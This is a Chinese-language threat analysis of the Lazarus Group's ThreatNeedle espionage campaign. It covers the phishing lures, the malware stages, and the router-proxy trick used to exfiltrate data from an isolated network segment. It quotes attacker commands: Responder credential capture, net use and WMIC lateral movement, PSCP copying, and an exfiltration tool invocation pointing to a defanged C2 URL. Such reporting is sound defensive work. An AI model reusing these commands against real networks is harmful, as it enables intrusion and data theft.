Lazarus Group[1]是一個源于北韓政府的威脅組織,由于其發起攻擊的性質及其攻擊行動中使用的各種攻擊手法,現已被指定為進階持續性威脅。Lazarus Group至少從2009年就開始活躍,該組織是2014年11月對Sony Pictures Entertainment的毀滅性雨刮攻擊的負責人,這是Novetta開展的名為“Operation Blockbuster”的活動的一部分。Lazarus Group使用的惡意軟體與其他報告的活動有關,包括“Operation Flame”、“Operation 1Mission”、“Operation Troy”、“DarkSeoul” 和 “Ten Days of Rain”[2]。在2017年末,Lazarus Group使用磁盤擦除工具KillDisk攻擊了中美洲一家線上賭場[3]。2020年中期,卡巴斯基研究團隊發現Lazarus正在使用ThreatNeedle惡意軟體家族對國防工業發起攻擊[4]。
01
ThreatNeedle惡意軟體家族
ThreatNeedle叢集是Manuscrypt(又名NukeSped)的進階惡意軟體叢集,infosec研究人員已觀察到這是北北韓ATP(進階持續威脅)組織Lazarus(也稱為APT38和Hidden Cobra)的威脅武庫的一部分。Lazarus Group在魚叉式網絡釣魚電子郵件中使用了COVID-19主題,并使用公開來源收集的個人資訊修飾了主題。在獲得最初立足點之後,攻擊者收集了憑證并橫向移動,在受害者環境中尋找關鍵資産。我們觀察到他們如何通過通路内部路由器機器并将其配置為代理伺服器,進而允許他們将被盜資料從Intranet網絡傳輸到其遠端伺服器,進而克服了網絡分段的問題。到目前為止,十幾個國家的組織已受到影響。
02
ThreatNeedle的初次感染
在這種攻擊中,魚叉式網絡釣魚被用作初始感染媒介。在發起攻擊之前,該小組研究了有關目标組織的公開可用資訊,并确定了屬于公司各個部門的電子郵件位址。如圖1所示,這些部門中的電子郵件位址收到的網絡釣魚電子郵件要麼帶有惡意的Word文檔,要麼帶有指向遠端伺服器上托管的連結的連結。網絡釣魚電子郵件聲稱對當今最熱門的主題– COVID-19感染具有緊急更新。網絡釣魚電子郵件是為受攻擊組織的一部分醫療中心精心制作和編寫的。
攻擊者使用公共電子郵件服務注冊了帳戶,確定發件人的電子郵件位址看起來與醫療中心的真實電子郵件位址相似。網絡釣魚電子郵件中顯示的簽名包括受攻擊組織的醫療中心副校長的實際個人資料。攻擊者能夠在醫療中心的公共網站上找到此資訊。
圖1 網絡釣魚電子郵件以及指向惡意文檔的連結
Microsoft Word文檔中的宏包含旨在在受感染的系統上下載下傳并執行其他惡意軟體的惡意代碼。如圖2所示,誘餌檔案的内容是由一家健康診所從線上文章中複制而來的,包含有關人口健康評估計劃的資訊,與網絡釣魚電子郵件(COVID-19)的主題沒有直接關系,這表明攻擊者可能不完全了解他們使用的内容的含義。
圖2 惡意檔案的内容
調查表明,最初的魚叉式網絡釣魚嘗試未成功,原因是在目标系統的Microsoft Office安裝中禁用了宏。為了說服目标允許惡意宏,攻擊者發送了另一封電子郵件,顯示了如何在Microsoft Office中啟用宏。
發送了上述電子郵件并附有解釋後,攻擊者意識到目标計算機使用的是其他版本的Microsoft Office,是以需要使用不同的過程來啟用宏。如圖3,攻擊者随後發送了另一封電子郵件,并在帶有俄語語言包的螢幕快照中顯示了正确的過程。
圖3 通過電子郵件發送有關啟用宏
攻擊者從2020年5月21日至5月26日發送的魚叉式網絡釣魚電子郵件中的内容不包含任何文法錯誤。但是,在随後的電子郵件中,攻擊者犯了許多錯誤,如圖4所示,這表明他們可能不是俄語母語人士,并且正在使用翻譯工具。
圖4 電子郵件包含一些文法錯誤
該小組還利用了不同類型的魚叉式網絡釣魚攻擊,一名受感染的主機在2020年5月19日收到了幾個魚叉式釣魚網站檔案,傳遞的惡意檔案名為Boeing_AERO_GS.docx,它從遠端伺服器上擷取模闆。
卡巴斯基研究者根據其遙測技術檢索了與此惡意軟體相關的惡意文檔,它建立payload和快捷方式檔案,然後使用以下指令行參數繼續執行payload。
payload路徑:%APPDATA%\ Microsoft \ Windows \ lconcaches.db
快捷方式路徑:%APPDATA%\ Microsoft \ Windows \開始菜單\ Programs \ Startup \ OneDrives.lnk
誘餌檔案的内容描述了發電機/電力行業工程師的職位描述,如圖5所示。
圖 5誘餌檔案
打開惡意文檔并允許宏後,ThreatNeedle惡意軟體将進入多階段部署過程。其感染流程如圖6所示,初始魚叉式網絡釣魚文檔建立的payload将下一個階段加載為記憶體中運作的後門程式-ThreatNeedle後門程式,ThreatNeedle提供控制感染受害者的功能。攻擊者使用它進行初步偵察并部署其他惡意軟體進行橫向移動,此時攻擊者會在此過程中使用ThreatNeedle安裝程式類型的惡意軟體。該安裝程式負責植入下一階段的加載程式類型的惡意軟體,并對其進行注冊以自動執行。ThreatNeedle加載程式類型的惡意軟體存在多種變體,其主要目的是在記憶體中加載ThreatNeedle惡意軟體的最後階段。
圖 6 感染流程
ThreatNeedle installer
啟動後,惡意軟體使用RC4(密鑰:B6 B7 2D 8C 6B 5F 14 DF B1 38 A1 73 89 C1 D2 C4)解密嵌入的字元串,并将其與“ 7486513879852 ”進行比較。如果使用者在不使用指令行參數的情況下執行此惡意軟體,則該惡意軟體會啟動一個帶有 “複仇者聯盟”系列深色圖示的合法電腦。
進一步進入感染過程,惡意軟體會從netsvc中随機選擇一個服務名稱,以便将其用于payload建立路徑。然後,該惡意軟體在系統檔案夾中建立一個名為bcdbootinfo.tlp的檔案,包含感染時間和所選的随機服務名稱,惡意軟體操作員會檢查此檔案,以檢視遠端主機是否已感染,以及是否感染了感染的時間。然後,使用RC4算法解密嵌入的payload,将其儲存到目前目錄中具有随機建立的五個字元檔案名的.xml擴充名中,并将其複制到具有.sys擴充名的系統檔案夾中。
最後的payload是在記憶體中運作的ThreatNeedle加載程式。此時,加載程式使用其他RC4密鑰(3D 68 D0 0A B1 0E C6 AF DD EE 18 8E F4 A1 D6 20),并且發現惡意軟體已注冊為Windows服務并啟動。此外,該惡意軟體還會将配置資料另存為在RC4中加密的系統資料庫項:
HKLM \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ GameConfig –說明
ThreatNeedle loader
該元件負責将最終的後門payload加載到記憶體中。為了做到這一點,ThreatNeedle使用多種技術來解密其payload:
從系統資料庫加載payload。
解密RC4和解壓縮後,從自身加載payload。
解密AES和解壓縮後,從自身加載payload。
減壓後從自身加載payload。
一位元組異或後,從自身加載payload。
大多數loader-style的惡意軟體類型都會檢查指令行參數,并且僅在給出了預期參數的情況下才繼續執行惡意程式,這是ThreatNeedle loader的一個共同特征。最常見的示例類似于ThreatNeedle installer,惡意軟體使用RC4解密嵌入的字元串,并在啟動時将其與參數“ Sx6BrUk4v4rqBFBV”進行比較,如果比對則惡意軟體開始使用相同的RC4密鑰解密其嵌入的payload,解密後的payload是一個存檔檔案,該檔案随後在該過程中被解壓縮。最終,ThreatNeedle惡意軟體在記憶體中産生。
ThreatNeedle loader的另一種形式是從受害者的系統資料庫中準備下一階段的payload。從安裝程式惡意軟體描述中可以看出,系統資料庫項可能是由安裝程式元件建立的,從系統資料庫中檢索的資料使用RC4解密并解壓縮,最終,它将被加載到記憶體中并調用導出功能。
ThreatNeedle後門
在記憶體中執行的最終payload是ThreatNeedle後門,它具有以下功能來控制受感染的受害者計算機:
處理檔案/目錄
系統分析
控制後門程式
進入睡眠或休眠模式
更新後門配置
執行收到的指令
03
成功感染Threat Needle後的階段
攻擊者執行了一個名為Responder的憑據收集工具,并使用Windows指令橫向移動。Lazarus克服了網絡分段問題,通過破壞路由器虛拟機,從與網際網路斷開的完全隔離的網絡分段中竊取資料。
通過感染了ThreatNeedle後門的主機類型,卡巴斯基研究團隊推測此攻擊的主要目的是竊取知識産權。最後,使用自定義工具對竊取的資料進行竊聽,以下是卡巴斯基調查感染主機的大緻時間表:
圖 7感染主機的時間表
憑證收集
在調查過程中,發現響應程式工具是從收到魚叉式網絡釣魚檔案的一台受害者計算機上執行的。初始感染的一天後,惡意軟體操作員将該工具放置在此主機上,并使用以下指令執行該工具:
[響應者檔案路徑] -i [IP位址] -rPv
幾天後,攻擊者開始從此主機側向移動,是以推測攻擊者已成功從該主機擷取登入憑據,并開始将其用于進一步的惡意活動。
橫向運動
擷取登入憑據後,攻擊者開始從工作站橫向移動到伺服器主機。使用Windows指令使用了典型的橫向移動方法。首先,使用“ net use”指令建立與遠端主機的網絡連接配接。
net use\\ [IP位址] \ IPC “ [密碼] ” / u:“ [使用者名]”>
接下來,攻擊者使用Windows管理規範指令行(WMIC)将惡意軟體複制到遠端主機。
exe / node:[IP位址] / user:“ [使用者名]” / password:“ [password]” PROCESS CALL CREATE “ cmd.exe / c $ appdata \ Adobe \ adobe.bat ”
exe / node:[IP位址] / user:“ [使用者名]” / password:“ [password]” PROCESS CALL CREATE “ cmd / c sc queryex helpvc> $ temp \ tmp001.dat ”
網絡分段
在這項研究過程中,攻擊者用一種非常有趣的技術進行橫向移動并竊取資料。受攻擊的企業網絡分為兩個部分:公司或企業(一個計算機可以通路Internet的網絡)和受限制的團體(計算機在其中托管敏感資料并且不能通路Internet的網絡)。根據公司政策,這兩個部分之間不允許資訊傳遞,即這兩個部分是要完全分開的。
最初,攻擊者能夠通路具有Internet通路權限的系統,并花費了很長時間在網絡的企業部門的計算機之間分發惡意軟體。在受感染計算機中,有企業IT基礎架構管理者使用的計算機。
值得注意的是,管理者可以同時連接配接到公司網段和受限制的網段,以維護系統并在兩個區域中為使用者提供技術支援。結果,通過獲得管理者工作站的控制權,攻擊者能夠通路受限制的網段。但是,由于無法在網段之間直接路由連接配接,是以攻擊者無法使用其标準惡意軟體将資料從受限網段洩漏到C2。
這種情況在7月2日發生了變化,如圖8所示,攻擊者設法獲得了管理者用來連接配接到兩個網段中系統的路由器的憑據。路由器是一台運作CentOS的虛拟機,可根據預定義的規則在多個網絡接口之間進行路由連接配接。
圖 8受害人網段之間的連接配接布局
根據收集的證據(如圖9),攻擊者掃描了路由器的端口并檢測到Webmin界面。接下來,攻擊者使用特權根帳戶登入Web界面。尚不清楚攻擊者如何獲得該帳戶的憑據,但憑據可能儲存在受感染系統的浏覽器密碼管理器之一中。
圖 9 日志清單Webmin Web界面登入
通過通路配置面闆,攻擊者配置了Apache Web伺服器,并開始将路由器用作組織的公司部門和受限部門之間的代理伺服器,路由器上使用的服務清單如圖10所示。
圖 10 路由器上使用的服務清單
此後幾天,即2020年7月10日,攻擊者通過SSH連接配接到路由器,并在其中一台被感染的計算機上設定了PuTTy PSCP(PuTTY安全複制用戶端)實用程式。該實用程式用于将惡意軟體上載到路由器VM。這使攻擊者能夠使用路由器托管樣本,将惡意軟體放置在企業網絡受限網段的系統上。此外,在網絡受限網段中運作的惡意軟體還可以通過在同一路由器上設定的Apache伺服器将收集到的資料洩露到指令和控制伺服器。
圖 11攻擊者入侵後的新連接配接布局
卡巴斯基團隊在調查過程中,使用路由器的寫死URL(用作代理伺服器)識别了惡意軟體樣本。
圖 12惡意軟體中的寫死代理位址
由于攻擊者會定期從路由器删除日志檔案,是以隻能恢複通過SSH輸入到指令行的少數指令。對這些指令的分析表明,攻擊者試圖使用route指令重新配置流量路由。
圖 13攻擊者指令
攻擊者還在路由器VM上運作nmap,并在企業網絡受限網段内的系統上掃描端口。9月27日,攻擊者開始使用logrotate實用程式來設定自動删除日志檔案的功能,從路由器中删除其活動的所有痕迹。
圖 14 Webmin日志
資料洩露
惡意軟體操作員試圖從數個受損的伺服器主機建立到位于南韓的遠端伺服器的SSH隧道。他們使用了自定義的隧道工具來實作這一目标,該工具接收四個參數:用戶端IP位址、用戶端端口、伺服器IP位址和伺服器端口,其提供基本功能可将用戶端流量轉發到伺服器。為了建立隐蔽通道,惡意軟體使用trivial binary encryption對轉發的流量進行加密。
圖 15加密程式
攻擊者使用隐蔽通道,利用PuTTy PSCP工具将資料從遠端伺服器複制到主機:
%APPDATA%\PBL\unpack.tmp -pw [password] root@[IP address]:/tmp/cab0215 %APPDATA%\PBL\cab0215.tmp
從伺服器複制資料後,攻擊者使用定制工具将竊取的資料洩漏到遠端伺服器。該惡意軟體看起來像是合法的VNC用戶端,如果在沒有任何指令行參數的情況下執行,則會像一個VNC用戶端一樣運作。
圖 16執行不帶參數的惡意軟體
但是如果使用特定的指令行參數執行此應用程式,則會運作其他惡意功能。根據卡巴斯基團隊的遙測,攻擊者使用六個參數執行了此應用程式:
%APPDATA%\ Comms \ Comms.dat S0RMM-50QQE-F65DN-DCPYN-5QEQA hxxps://www.gonnelli [.] it / uploads / catalogo / thumbs / thumb [.] asp%APPDATA%\ Comms \ cab59.tmp FL0509 15000
此外,如果指令行參數的數量大于六個,則惡意軟體會跳入惡意例程。惡意軟體還會檢查第二個參數的長度,如果少于29個字元,将終止執行。參數檢查過程成功通過後,惡意軟體将開始解密其下一個payload。
嵌入的payload通過XOR解密,其中payload末尾的每個位元組都應用于前一個位元組。接下來,XORed Blob接收提供的第二個指令行參數(在本例中為S0RMM-50QQE-F65DN-DCPYN-5QEQA)。該惡意軟體可以接受更多指令行參數,并且根據其數量,運作方式也有所不同,例如,它也可以使用“ -p”選項接收代理伺服器位址。
當執行解密的記憶體payload時,它會将傳遞的配置資料的标頭與字元串“ 0x8406”進行比較,以确認其有效性。payload将打開給定檔案(在本示例中為%APPDATA%\ Comms \ cab59.tmp),并開始将其分發到遠端伺服器。當惡意軟體将資料上傳到C2伺服器時,它使用HTTP POST請求,并帶有兩個名為'fr'和'fp'的參數:
“ fr”參數包含要上傳的指令行參數中的檔案名。
'fp'參數包含base64編碼的大小,内容的CRC32值和檔案内容。
圖 17 fp參數的内容
04
結論
近年來,Lazarus Group專注于攻擊世界各地的金融機構,但是從2020年初開始,他們專注于積極進攻國防工業。以前Lazarus曾在針對加密貨币企業時利用了此攻擊中使用的ThreatNeedle惡意軟體,目前Lazarus正在積極地将ThreatNeedle惡意軟體用于網絡間諜攻擊。
在這次活動中,Lazarus Group展示了其先進的水準和能力來規避他們在攻擊過程中面臨的安全防禦措施,例如網絡分段等。卡巴斯基評估Lazarus是一個多産的APT組織,能夠使用不同的政策和工具發起不同的攻擊活動,同時他們會在這些攻擊活動中共享工具和基礎設施以實作其目标。
參考文獻
[1]https://attack.mitre.org/groups/G0032/
[2]https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
[3]https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/
[4]https://securelist.com/lazarus-threatneedle/100803/
- 往期推薦 -
【推薦書籍】